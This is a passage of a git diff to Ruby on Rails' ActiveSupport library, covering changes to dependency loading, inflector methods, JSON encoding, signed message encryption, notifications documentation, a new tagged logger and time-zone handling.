# In this case, it simply returns +self+.
def to_time
self
end unless method_defined?(:to_time)
+
+ # Converts a Time instance to a Ruby DateTime instance, preserving UTC offset.
+ #
+ # my_time = Time.now # => Mon Nov 12 23:04:21 -0500 2007
+ # my_time.to_datetime # => Mon, 12 Nov 2007 23:04:21 -0500
+ #
+ # your_time = Time.parse("1/13/2009 1:13:03 P.M.") # => Tue Jan 13 13:13:03 -0500 2009
+ # your_time.to_datetime # => Tue, 13 Jan 2009 13:13:03 -0500
+ def to_datetime
+ ::DateTime.civil(year, month, day, hour, min, sec, Rational(utc_offset, 86400))
+ end unless method_defined?(:to_datetime)
end
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
index 8cd4d15e4c..100b48312a 100644
--- a/activesupport/lib/active_support/dependencies.rb
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -5,6 +5,7 @@ require 'active_support/core_ext/module/aliasing'
require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/module/introspection'
require 'active_support/core_ext/module/anonymous'
+require 'active_support/core_ext/module/qualified_const'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/load_error'
require 'active_support/core_ext/name_error'
@@ -70,14 +71,20 @@ module ActiveSupport #:nodoc:
#
# This is handled by walking back up the watch stack and adding the constants
# found by child.rb to the list of original constants in parent.rb
- class WatchStack < Hash
+ class WatchStack
+ include Enumerable
+
# @watching is a stack of lists of constants being watched. For instance,
# if parent.rb is autoloaded, the stack will look like [[Object]]. If parent.rb
# then requires namespace/child.rb, the stack will look like [[Object], [Namespace]].
def initialize
@watching = []
- super { |h,k| h[k] = [] }
+ @stack = Hash.new { |h,k| h[k] = [] }
+ end
+
+ def each(&block)
+ @stack.each(&block)
end
# return a list of new constants found since the last call to watch_namespaces
@@ -88,7 +95,7 @@ module ActiveSupport #:nodoc:
@watching.last.each do |namespace|
# Retrieve the constants that were present under the namespace when watch_namespaces
# was originally called
- original_constants = self[namespace].last
+ original_constants = @stack[namespace].last
mod = Inflector.constantize(namespace) if Dependencies.qualified_const_defined?(namespace)
next unless mod.is_a?(Module)
@@ -101,7 +108,7 @@ module ActiveSupport #:nodoc:
# element of self[Object] will be an Array of the constants that were present
# before parent.rb was required. The second element will be an Array of the
# constants that were present before child.rb was required.
- self[namespace].each do |namespace_constants|
+ @stack[namespace].each do |namespace_constants|
namespace_constants.concat(new_constants)
end
@@ -125,13 +132,14 @@ module ActiveSupport #:nodoc:
Inflector.constantize(module_name).local_constant_names : []
watching << module_name
- self[module_name] << original_constants
+ @stack[module_name] << original_constants
end
@watching << watching
end
+ private
def pop_modules(modules)
- modules.each { |mod| self[mod].pop }
+ modules.each { |mod| @stack[mod].pop }
end
end
@@ -229,11 +237,15 @@ module ActiveSupport #:nodoc:
end
def load(file, *)
- load_dependency(file) { super }
+ result = false
+ load_dependency(file) { result = super }
+ result
end
def require(file, *)
- load_dependency(file) { super }
+ result = false
+ load_dependency(file) { result = super }
+ result
end
# Mark the given constant as unloadable. Unloadable constants are removed each
@@ -353,12 +365,13 @@ module ActiveSupport #:nodoc:
end
# Is the provided constant path defined?
- def qualified_const_defined?(path)
- names = path.sub(/^::/, '').to_s.split('::')
-
- names.inject(Object) do |mod, name|
- return false unless local_const_defined?(mod, name)
- mod.const_get name
+ if Module.method(:const_defined?).arity == 1
+ def qualified_const_defined?(path)
+ Object.qualified_const_defined?(path.sub(/^::/, ''))
+ end
+ else
+ def qualified_const_defined?(path)
+ Object.qualified_const_defined?(path.sub(/^::/, ''), false)
end
end
@@ -417,11 +430,12 @@ module ActiveSupport #:nodoc:
end
def load_once_path?(path)
- autoload_once_paths.any? { |base| path.starts_with? base }
+ # to_s works around a ruby1.9 issue where #starts_with?(Pathname) will always return false
+ autoload_once_paths.any? { |base| path.starts_with? base.to_s }
end
# Attempt to autoload the provided module name by searching for a directory
- # matching the expect path suffix. If found, the module is created and assigned
+ # matching the expected path suffix. If found, the module is created and assigned
# to +into+'s constants with the name +const_name+. Provided that the directory
# was loaded from a reloadable base path, it is added to the set of constants
# that are to be unloaded.
@@ -478,10 +492,6 @@ module ActiveSupport #:nodoc:
qualified_name = qualified_name_for from_mod, const_name
path_suffix = qualified_name.underscore
- trace = caller.reject {|l| l.starts_with? __FILE__ }
- name_error = NameError.new("uninitialized constant #{qualified_name}")
- name_error.set_backtrace(trace)
-
file_path = search_for_file(path_suffix)
if file_path && ! loaded.include?(File.expand_path(file_path)) # We found a matching file to load
@@ -500,11 +510,12 @@ module ActiveSupport #:nodoc:
return parent.const_missing(const_name)
rescue NameError => e
raise unless e.missing_name? qualified_name_for(parent, const_name)
- raise name_error
end
- else
- raise name_error
end
+
+ raise NameError,
+ "uninitialized constant #{qualified_name}",
+ caller.reject {|l| l.starts_with? __FILE__ }
end
# Remove the constants that have been autoloaded, and those that have been
@@ -523,7 +534,7 @@ module ActiveSupport #:nodoc:
class ClassCache
def initialize
- @store = Hash.new { |h, k| h[k] = Inflector.constantize(k) }
+ @store = Hash.new
end
def empty?
@@ -534,23 +545,24 @@ module ActiveSupport #:nodoc:
@store.key?(key)
end
- def []=(key, value)
- return unless key.respond_to?(:name)
-
- raise(ArgumentError, 'anonymous classes cannot be cached') if key.name.blank?
-
- @store[key.name] = value
+ def get(key)
+ key = key.name if key.respond_to?(:name)
+ @store[key] ||= Inflector.constantize(key)
end
+ alias :[] :get
- def [](key)
+ def safe_get(key)
key = key.name if key.respond_to?(:name)
-
- @store[key]
+ @store[key] || begin
+ klass = Inflector.safe_constantize(key)
+ @store[key] = klass
+ end
end
- alias :get :[]
- def store(name)
- self[name] = name
+ def store(klass)
+ return self unless klass.respond_to?(:name)
+ raise(ArgumentError, 'anonymous classes cannot be cached') if klass.name.empty?
+ @store[klass.name] = klass
self
end
@@ -567,10 +579,17 @@ module ActiveSupport #:nodoc:
end
# Get the reference for class named +name+.
+ # Raises an exception if referenced class does not exist.
def constantize(name)
Reference.get(name)
end
+ # Get the reference for class named +name+ if one exists.
+ # Otherwise returns nil.
+ def safe_constantize(name)
+ Reference.safe_get(name)
+ end
+
# Determine if the given constant has been automatically loaded.
def autoloaded?(desc)
# No name => anonymous module.
diff --git a/activesupport/lib/active_support/gzip.rb b/activesupport/lib/active_support/gzip.rb
index 62f9c9aa2e..9651f02c73 100644
--- a/activesupport/lib/active_support/gzip.rb
+++ b/activesupport/lib/active_support/gzip.rb
@@ -1,5 +1,6 @@
require 'zlib'
require 'stringio'
+require 'active_support/core_ext/string/encoding'
module ActiveSupport
# A convenient wrapper for the zlib standard library that allows compression/decompression of strings with gzip.
diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb
index 59ffd24698..636f019cd5 100644
--- a/activesupport/lib/active_support/hash_with_indifferent_access.rb
+++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb
@@ -112,7 +112,7 @@ module ActiveSupport
end
end
- # Merges the instantized and the specified hashes together, giving precedence to the values from the second hash
+ # Merges the instantized and the specified hashes together, giving precedence to the values from the second hash.
# Does not overwrite the existing hash.
def merge(hash)
self.dup.update(hash)
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
index a25e951080..4c59fe9ac9 100644
--- a/activesupport/lib/active_support/i18n_railtie.rb
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -1,5 +1,4 @@
require "active_support"
-require "rails"
require "active_support/file_update_checker"
require "active_support/core_ext/array/wrap"
@@ -38,6 +37,8 @@ module I18n
protected
+ @i18n_inited = false
+
# Setup i18n configuration
def self.initialize_i18n(app)
return if @i18n_inited
diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb
index 06ceccdb22..daf2a1e1d9 100644
--- a/activesupport/lib/active_support/inflections.rb
+++ b/activesupport/lib/active_support/inflections.rb
@@ -54,6 +54,7 @@ module ActiveSupport
inflect.irregular('sex', 'sexes')
inflect.irregular('move', 'moves')
inflect.irregular('cow', 'kine')
+ inflect.irregular('zombie', 'zombies')
inflect.uncountable(%w(equipment information rice money species series fish sheep jeans))
end
diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb
index 423b5abd20..144cdd3c8f 100644
--- a/activesupport/lib/active_support/inflector/methods.rb
+++ b/activesupport/lib/active_support/inflector/methods.rb
@@ -21,14 +21,7 @@ module ActiveSupport
# "words".pluralize # => "words"
# "CamelOctopus".pluralize # => "CamelOctopi"
def pluralize(word)
- result = word.to_s.dup
-
- if word.empty? || inflections.uncountables.include?(result.downcase)
- result
- else
- inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
- result
- end
+ apply_inflections(word, inflections.plurals)
end
# The reverse of +pluralize+, returns the singular form of a word in a string.
@@ -40,14 +33,7 @@ module ActiveSupport
# "word".singularize # => "word"
# "CamelOctopi".singularize # => "CamelOctopus"
def singularize(word)
- result = word.to_s.dup
-
- if inflections.uncountables.any? { |inflection| result =~ /\b(#{inflection})\Z/i }
- result
- else
- inflections.singulars.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
- result
- end
+ apply_inflections(word, inflections.singulars)
end
# By default, +camelize+ converts strings to UpperCamelCase. If the argument to +camelize+
@@ -160,13 +146,32 @@ module ActiveSupport
underscored_word.gsub(/_/, '-')
end
- # Removes the module part from the expression in the string.
+ # Removes the module part from the expression in the string:
#
- # Examples:
# "ActiveRecord::CoreExtensions::String::Inflections".demodulize # => "Inflections"
# "Inflections".demodulize # => "Inflections"
- def demodulize(class_name_in_module)
- class_name_in_module.to_s.gsub(/^.*::/, '')
+ #
+ # See also +deconstantize+.
+ def demodulize(path)
+ path = path.to_s
+ if i = path.rindex('::')
+ path[(i+2)..-1]
+ else
+ path
+ end
+ end
+
+ # Removes the rightmost segment from the constant expression in the string:
+ #
+ # "Net::HTTP".deconstantize # => "Net"
+ # "::Net::HTTP".deconstantize # => "::Net"
+ # "String".deconstantize # => ""
+ # "::String".deconstantize # => ""
+ # "".deconstantize # => ""
+ #
+ # See also +demodulize+.
+ def deconstantize(path)
+ path.to_s[0...(path.rindex('::') || 0)] # implementation based on the one in facets' Module#spacename
end
# Creates a foreign key name from a class name.
@@ -224,6 +229,39 @@ module ActiveSupport
end
end
+ # Tries to find a constant with the name specified in the argument string:
+ #
+ # "Module".safe_constantize # => Module
+ # "Test::Unit".safe_constantize # => Test::Unit
+ #
+ # The name is assumed to be the one of a top-level constant, no matter whether
+ # it starts with "::" or not. No lexical context is taken into account:
+ #
+ # C = 'outside'
+ # module M
+ # C = 'inside'
+ # C # => 'inside'
+ # "C".safe_constantize # => 'outside', same as ::C
+ # end
+ #
+ # nil is returned when the name is not in CamelCase or the constant (or part of it) is
+ # unknown.
+ #
+ # "blargle".safe_constantize # => nil
+ # "UnknownModule".safe_constantize # => nil
+ # "UnknownModule::Foo::Bar".safe_constantize # => nil
+ #
+ def safe_constantize(camel_cased_word)
+ begin
+ constantize(camel_cased_word)
+ rescue NameError => e
+ raise unless e.message =~ /uninitialized constant #{const_regexp(camel_cased_word)}$/ ||
+ e.name.to_s == camel_cased_word.to_s
+ rescue ArgumentError => e
+ raise unless e.message =~ /not missing constant #{const_regexp(camel_cased_word)}\!$/
+ end
+ end
+
# Turns a number into an ordinal string used to denote the position in an
# ordered sequence such as 1st, 2nd, 3rd, 4th.
#
@@ -246,5 +284,34 @@ module ActiveSupport
end
end
end
+
+ private
+
+ # Mount a regular expression that will match part by part of the constant.
+ # For instance, Foo::Bar::Baz will generate Foo(::Bar(::Baz)?)?
+ def const_regexp(camel_cased_word) #:nodoc:
+ parts = camel_cased_word.split("::")
+ last = parts.pop
+
+ parts.reverse.inject(last) do |acc, part|
+ part.empty? ? acc : "#{part}(::#{acc})?"
+ end
+ end
+
+ # Applies inflection rules for +singularize+ and +pluralize+.
+ #
+ # Examples:
+ # apply_inflections("post", inflections.plurals) # => "posts"
+ # apply_inflections("posts", inflections.singulars) # => "post"
+ def apply_inflections(word, rules)
+ result = word.to_s.dup
+
+ if word.empty? || inflections.uncountables.any? { |inflection| result =~ /\b#{inflection}\Z/i }
+ result
+ else
+ rules.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
+ result
+ end
+ end
end
end
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
index 67698c1cff..925fa2a2c7 100644
--- a/activesupport/lib/active_support/json/encoding.rb
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -38,7 +38,7 @@ module ActiveSupport
attr_reader :options
def initialize(options = nil)
- @options = options
+ @options = options || {}
@seen = Set.new
end
@@ -50,16 +50,16 @@ module ActiveSupport
end
# like encode, but only calls as_json, without encoding to string
- def as_json(value)
+ def as_json(value, use_options = true)
check_for_circular_references(value) do
- value.as_json(options_for(value))
+ use_options ? value.as_json(options_for(value)) : value.as_json
end
end
def options_for(value)
if value.is_a?(Array) || value.is_a?(Hash)
# hashes and arrays need to get encoder in the options, so that they can detect circular references
- (options || {}).merge(:encoder => self)
+ options.merge(:encoder => self)
else
options
end
@@ -212,7 +212,7 @@ class Array
def as_json(options = nil) #:nodoc:
# use encoder as a proxy to call as_json on all elements, to protect from circular references
encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
- map { |v| encoder.as_json(v) }
+ map { |v| encoder.as_json(v, options) }
end
def encode_json(encoder) #:nodoc:
@@ -239,7 +239,7 @@ class Hash
# use encoder as a proxy to call as_json on all values in the subset, to protect from circular references
encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
result = self.is_a?(ActiveSupport::OrderedHash) ? ActiveSupport::OrderedHash : Hash
- result[subset.map { |k, v| [k.to_s, encoder.as_json(v)] }]
+ result[subset.map { |k, v| [k.to_s, encoder.as_json(v, options)] }]
end
def encode_json(encoder)
@@ -281,4 +281,4 @@ class DateTime
strftime('%Y/%m/%d %H:%M:%S %z')
end
end
-end
+end \ No newline at end of file
diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb
index 3e54134c5c..dcfcf0b63c 100644
--- a/activesupport/lib/active_support/log_subscriber/test_helper.rb
+++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb
@@ -18,8 +18,8 @@ module ActiveSupport
# Developer.all
# wait
# assert_equal 1, @logger.logged(:debug).size
- # assert_match /Developer Load/, @logger.logged(:debug).last
- # assert_match /SELECT \* FROM "developers"/, @logger.logged(:debug).last
+ # assert_match(/Developer Load/, @logger.logged(:debug).last)
+ # assert_match(/SELECT \* FROM "developers"/, @logger.logged(:debug).last)
# end
# end
#
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
index 4f7cd12d48..9ef2b29580 100644
--- a/activesupport/lib/active_support/message_encryptor.rb
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -10,15 +10,58 @@ module ActiveSupport
# This can be used in situations similar to the <tt>MessageVerifier</tt>, but where you don't
# want users to be able to determine the value of the payload.
class MessageEncryptor
+ module NullSerializer #:nodoc:
+ def self.load(value)
+ value
+ end
+
+ def self.dump(value)
+ value
+ end
+ end
+
class InvalidMessage < StandardError; end
OpenSSLCipherError = OpenSSL::Cipher.const_defined?(:CipherError) ? OpenSSL::Cipher::CipherError : OpenSSL::CipherError
- def initialize(secret, cipher = 'aes-256-cbc')
+ def initialize(secret, options = {})
+ unless options.is_a?(Hash)
+ ActiveSupport::Deprecation.warn "The second parameter should be an options hash. Use :cipher => 'algorithm' to specify the cipher algorithm."
+ options = { :cipher => options }
+ end
+
@secret = secret
- @cipher = cipher
+ @cipher = options[:cipher] || 'aes-256-cbc'
+ @verifier = MessageVerifier.new(@secret, :serializer => NullSerializer)
+ @serializer = options[:serializer] || Marshal
end
def encrypt(value)
+ ActiveSupport::Deprecation.warn "MessageEncryptor#encrypt is deprecated as it is not safe without a signature. " \
+ "Please use MessageEncryptor#encrypt_and_sign instead."
+ _encrypt(value)
+ end
+
+ def decrypt(value)
+ ActiveSupport::Deprecation.warn "MessageEncryptor#decrypt is deprecated as it is not safe without a signature. " \
+ "Please use MessageEncryptor#decrypt_and_verify instead."
+ _decrypt(value)
+ end
+
+ # Encrypt and sign a message. We need to sign the message in order to avoid padding attacks.
+ # Reference: http://www.limited-entropy.com/padding-oracle-attacks
+ def encrypt_and_sign(value)
+ verifier.generate(_encrypt(value))
+ end
+
+ # Decrypt and verify a message. We need to verify the message in order to avoid padding attacks.
+ # Reference: http://www.limited-entropy.com/padding-oracle-attacks
+ def decrypt_and_verify(value)
+ _decrypt(verifier.verify(value))
+ end
+
+ private
+
+ def _encrypt(value)
cipher = new_cipher
# Rely on OpenSSL for the initialization vector
iv = cipher.random_iv
@@ -27,13 +70,13 @@ module ActiveSupport
cipher.key = @secret
cipher.iv = iv
- encrypted_data = cipher.update(Marshal.dump(value))
+ encrypted_data = cipher.update(@serializer.dump(value))
encrypted_data << cipher.final
[encrypted_data, iv].map {|v| ActiveSupport::Base64.encode64s(v)}.join("--")
end
- def decrypt(encrypted_message)
+ def _decrypt(encrypted_message)
cipher = new_cipher
encrypted_data, iv = encrypted_message.split("--").map {|v| ActiveSupport::Base64.decode64(v)}
@@ -44,28 +87,17 @@ module ActiveSupport
decrypted_data = cipher.update(encrypted_data)
decrypted_data << cipher.final
- Marshal.load(decrypted_data)
+ @serializer.load(decrypted_data)
rescue OpenSSLCipherError, TypeError
raise InvalidMessage
end
- def encrypt_and_sign(value)
- verifier.generate(encrypt(value))
+ def new_cipher
+ OpenSSL::Cipher::Cipher.new(@cipher)
end
- def decrypt_and_verify(value)
- decrypt(verifier.verify(value))
+ def verifier
+ @verifier
end
-
-
-
- private
- def new_cipher
- OpenSSL::Cipher::Cipher.new(@cipher)
- end
-
- def verifier
- MessageVerifier.new(@secret)
- end
end
end
diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
index 8f3946325a..9d7c81142a 100644
--- a/activesupport/lib/active_support/message_verifier.rb
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -18,12 +18,23 @@ module ActiveSupport
# self.current_user = User.find(id)
# end
#
+ # By default it uses Marshal to serialize the message. If you want to use another
+ # serialization method, you can set the serializer attribute to something that responds
+ # to dump and load, e.g.:
+ #
+ # @verifier.serializer = YAML
class MessageVerifier
class InvalidSignature < StandardError; end
- def initialize(secret, digest = 'SHA1')
+ def initialize(secret, options = {})
+ unless options.is_a?(Hash)
+ ActiveSupport::Deprecation.warn "The second parameter should be an options hash. Use :digest => 'algorithm' to specify the digest algorithm."
+ options = { :digest => options }
+ end
+
@secret = secret
- @digest = digest
+ @digest = options[:digest] || 'SHA1'
+ @serializer = options[:serializer] || Marshal
end
def verify(signed_message)
@@ -31,14 +42,14 @@ module ActiveSupport
data, digest = signed_message.split("--")
if data.present? && digest.present? && secure_compare(digest, generate_digest(data))
- Marshal.load(ActiveSupport::Base64.decode64(data))
+ @serializer.load(ActiveSupport::Base64.decode64(data))
else
raise InvalidSignature
end
end
def generate(value)
- data = ActiveSupport::Base64.encode64s(Marshal.dump(value))
+ data = ActiveSupport::Base64.encode64s(@serializer.dump(value))
"#{data}--#{generate_digest(data)}"
end
diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb
index 77696eb1db..f549d2fff3 100644
--- a/activesupport/lib/active_support/notifications.rb
+++ b/activesupport/lib/active_support/notifications.rb
@@ -1,38 +1,102 @@
-require 'active_support/core_ext/module/delegation'
-
module ActiveSupport
- # Notifications provides an instrumentation API for Ruby. To instrument an
- # action in Ruby you just need to do:
+ # = Notifications
+ #
+ # +ActiveSupport::Notifications+ provides an instrumentation API for Ruby.
+ #
+ # == Instrumenters
+ #
+ # To instrument an event you just need to do:
#
- # ActiveSupport::Notifications.instrument(:render, :extra => :information) do
+ # ActiveSupport::Notifications.instrument("render", :extra => :information) do
# render :text => "Foo"
# end
#
+ # That executes the block first and notifies all subscribers once done.
+ #
+ # In the example above "render" is the name of the event, and the rest is called
+ # the _payload_. The payload is a mechanism that allows instrumenters to pass
+ # extra information to subscribers. Payloads consist of a hash whose contents
+ # are arbitrary and generally depend on the event.
+ #
+ # == Subscribers
+ #
# You can consume those events and the information they provide by registering
- # a log subscriber. For instance, let's store all instrumented events in an array:
+ # a subscriber. For instance, let's store all "render" events in an array:
#
- # @events = []
+ # events = []
#
- # ActiveSupport::Notifications.subscribe do |*args|
- # @events << ActiveSupport::Notifications::Event.new(*args)
+ # ActiveSupport::Notifications.subscribe("render") do |*args|
+ # events << ActiveSupport::Notifications::Event.new(*args)
# end
#
- # ActiveSupport::Notifications.instrument(:render, :extra => :information) do
+ # That code returns right away, you are just subscribing to "render" events.
+ # The block will be called asynchronously whenever someone instruments "render":
+ #
+ # ActiveSupport::Notifications.instrument("render", :extra => :information) do
# render :text => "Foo"
# end
#
- # event = @events.first
- # event.name # => :render
+ # event = events.first
+ # event.name # => "render"
# event.duration # => 10 (in milliseconds)
# event.payload # => { :extra => :information }
#
- # When subscribing to Notifications, you can pass a pattern, to only consume
- # events that match the pattern:
+ # The block in the +subscribe+ call gets the name of the event, start
+ # timestamp, end timestamp, a string with a unique identifier for that event
+ # (something like "535801666f04d0298cd6"), and a hash with the payload, in
+ # that order.
+ #
+ # If an exception happens during that particular instrumentation the payload will
+ # have a key +:exception+ with an array of two elements as value: a string with
+ # the name of the exception class, and the exception message.
+ #
+ # As the previous example depicts, the class +ActiveSupport::Notifications::Event+
+ # is able to take the arguments as they come and provide an object-oriented
+ # interface to that data.
+ #
+ # You can also subscribe to all events whose name matches a certain regexp:
+ #
+ # ActiveSupport::Notifications.subscribe(/render/) do |*args|
+ # ...
+ # end
+ #
+ # and even pass no argument to +subscribe+, in which case you are subscribing
+ # to all events.
#
- # ActiveSupport::Notifications.subscribe(/render/) do |event|
- # @render_events << event
+ # == Temporary Subscriptions
+ #
+ # Sometimes you do not want to subscribe to an event for the entire life of
+ # the application. There are two ways to unsubscribe.
+ #
+ # === Subscribe While a Block Runs
+ #
+ # You can subscribe to some event temporarily while some block runs. For
+ # example, in
+ #
+ # callback = lambda {|*args| ... }
+ # ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
+ # ...
+ # end
+ #
+ # the callback will be called for all "sql.active_record" events instrumented
+ # during the execution of the block. The callback is unsubscribed automatically
+ # after that.
+ #
+ # === Manual Unsubscription
+ #
+ # The +subscribe+ method returns a subscriber object:
+ #
+ # subscriber = ActiveSupport::Notifications.subscribe("render") do |*args|
+ # ...
# end
#
+ # To prevent that block from being called anymore, just unsubscribe passing
+ # that reference:
+ #
+ # ActiveSupport::Notifications.unsubscribe(subscriber)
+ #
+ # == Default Queue
+ #
# Notifications ships with a queue implementation that consumes and publish events
# to log subscribers in a thread. You can use any queue implementation you want.
#
@@ -64,6 +128,13 @@ module ActiveSupport
end
end
+ def subscribed(callback, *args, &block)
+ subscriber = subscribe(*args, &callback)
+ yield
+ ensure
+ unsubscribe(subscriber)
+ end
+
def unsubscribe(args)
notifier.unsubscribe(args)
@instrumenters.clear
diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb
index 7f70628933..b0d4f2bd86 100644
--- a/activesupport/lib/active_support/ordered_hash.rb
+++ b/activesupport/lib/active_support/ordered_hash.rb
@@ -20,7 +20,7 @@ module ActiveSupport
# oh.keys # => [:a, :b], this order is guaranteed
#
# <tt>ActiveSupport::OrderedHash</tt> is namespaced to prevent conflicts with other implementations.
- class OrderedHash < ::Hash #:nodoc:
+ class OrderedHash < ::Hash
def to_yaml_type
"!tag:yaml.org,2002:omap"
end
@@ -47,6 +47,11 @@ module ActiveSupport
self
end
+ # Returns true to make sure that this hash is extractable via <tt>Array#extract_options!</tt>
+ def extractable_options?
+ true
+ end
+
# Hash is ordered in Ruby 1.9!
if RUBY_VERSION < '1.9'
diff --git a/activesupport/lib/active_support/railtie.rb b/activesupport/lib/active_support/railtie.rb
index 04df2ea562..1638512af0 100644
--- a/activesupport/lib/active_support/railtie.rb
+++ b/activesupport/lib/active_support/railtie.rb
@@ -1,5 +1,4 @@
require "active_support"
-require "rails"
require "active_support/i18n_railtie"
module ActiveSupport
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
new file mode 100644
index 0000000000..63e8837a07
--- /dev/null
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -0,0 +1,63 @@
+require 'active_support/core_ext/object/blank'
+require 'logger'
+
+module ActiveSupport
+ # Wraps any standard Logger class to provide tagging capabilities. Examples:
+ #
+ # Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+ # Logger.tagged("BCX") { Logger.info "Stuff" } # Logs "[BCX] Stuff"
+ # Logger.tagged("BCX", "Jason") { Logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff"
+ # Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+ #
+ # This is used by the default Rails.logger as configured by Railties to make it easy to stamp log lines
+ # with subdomains, request ids, and anything else to aid debugging of multi-user production applications.
+ class TaggedLogging
+ def initialize(logger)
+ @logger = logger
+ @tags = Hash.new { |h,k| h[k] = [] }
+ end
+
+ def tagged(*new_tags)
+ tags = current_tags
+ new_tags = Array.wrap(new_tags).flatten.reject(&:blank?)
+ tags.concat new_tags
+ yield
+ ensure
+ new_tags.size.times { tags.pop }
+ end
+
+ def add(severity, message = nil, progname = nil, &block)
+ @logger.add(severity, "#{tags_text}#{message}", progname, &block)
+ end
+
+ %w( fatal error warn info debug unknown ).each do |severity|
+ eval <<-EOM, nil, __FILE__, __LINE__ + 1
+ def #{severity}(progname = nil, &block)
+ add(Logger::#{severity.upcase}, progname, &block)
+ end
+ EOM
+ end
+
+ def flush(*args)
+ @tags.delete(Thread.current)
+ @logger.flush(*args) if @logger.respond_to?(:flush)
+ end
+
+ def method_missing(method, *args)
+ @logger.send(method, *args)
+ end
+
+ protected
+
+ def tags_text
+ tags = current_tags
+ if tags.any?
+ tags.collect { |tag| "[#{tag}]" }.join(" ") + " "
+ end
+ end
+
+ def current_tags
+ @tags[Thread.current]
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb
index 3864b1f5a6..f3629ada5b 100644
--- a/activesupport/lib/active_support/testing/assertions.rb
+++ b/activesupport/lib/active_support/testing/assertions.rb
@@ -45,15 +45,17 @@ module ActiveSupport
# post :delete, :id => ...
# end
def assert_difference(expression, difference = 1, message = nil, &block)
- exps = Array.wrap(expression).map { |e|
+ expressions = Array.wrap expression
+
+ exps = expressions.map { |e|
e.respond_to?(:call) ? e : lambda { eval(e, block.binding) }
}
before = exps.map { |e| e.call }
yield
- exps.each_with_index do |e, i|
- error = "#{e.inspect} didn't change by #{difference}"
+ expressions.zip(exps).each_with_index do |(code, e), i|
+ error = "#{code.inspect} didn't change by #{difference}"
error = "#{message}.\n#{error}" if message
assert_equal(before[i] + difference, e.call, error)
end
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
index ec2c717942..d3adf671a0 100644
--- a/activesupport/lib/active_support/time_with_zone.rb
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -12,7 +12,7 @@ module ActiveSupport
#
# Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
# Time.zone.local(2007, 2, 10, 15, 30, 45) # => Sat, 10 Feb 2007 15:30:45 EST -05:00
- # Time.zone.parse('2007-02-01 15:30:45') # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+ # Time.zone.parse('2007-02-10 15:30:45') # => Sat, 10 Feb 2007 15:30:45 EST -05:00
# Time.zone.at(1170361845) # => Sat, 10 Feb 2007 15:30:45 EST -05:00
# Time.zone.now # => Sun, 18 May 2008 13:07:55 EDT -04:00
# Time.utc(2007, 2, 10, 20, 30, 45).in_time_zone # => Sat, 10 Feb 2007 15:30:45 EST -05:00
@@ -203,7 +203,11 @@ module ActiveSupport
end
def eql?(other)
- utc == other
+ utc.eql?(other)
+ end
+
+ def hash
+ utc.hash
end
def +(other)
@@ -277,7 +281,6 @@ module ActiveSupport
def to_i
utc.to_i
end
- alias_method :hash, :to_i
alias_method :tv_sec, :to_i
# A TimeWithZone acts like a Time, so just return +self+.
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
index 728921a069..35f400f9df 100644
--- a/activesupport/lib/active_support/values/time_zone.rb
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -195,12 +195,8 @@ module ActiveSupport
# (GMT). Seconds were chosen as the offset unit because that is the unit that
# Ruby uses to represent time zone offsets (see Time#utc_offset).
def initialize(name, utc_offset = nil, tzinfo = nil)
- begin
- require 'tzinfo'
- rescue LoadError => e
- $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install"
- raise e
- end
+ self.class.send(:require_tzinfo)
+
@name = name
@utc_offset = utc_offset
@tzinfo = tzinfo || TimeZone.find_tzinfo(name)
@@ -337,7 +333,12 @@ module ActiveSupport
end
def zones_map
- @zones_map ||= Hash[MAPPING.map { |place, _| [place, create(place)] }]
+ @zones_map ||= begin
+ new_zones_names = MAPPING.keys - lazy_zones_map.keys
+ new_zones = Hash[new_zones_names.map { |place| [place, create(place)] }]
+
+ lazy_zones_map.merge(new_zones)
+ end
end
# Locate a specific time zone object. If the argument is a string, it
@@ -349,7 +350,7 @@ module ActiveSupport
case arg
when String
begin
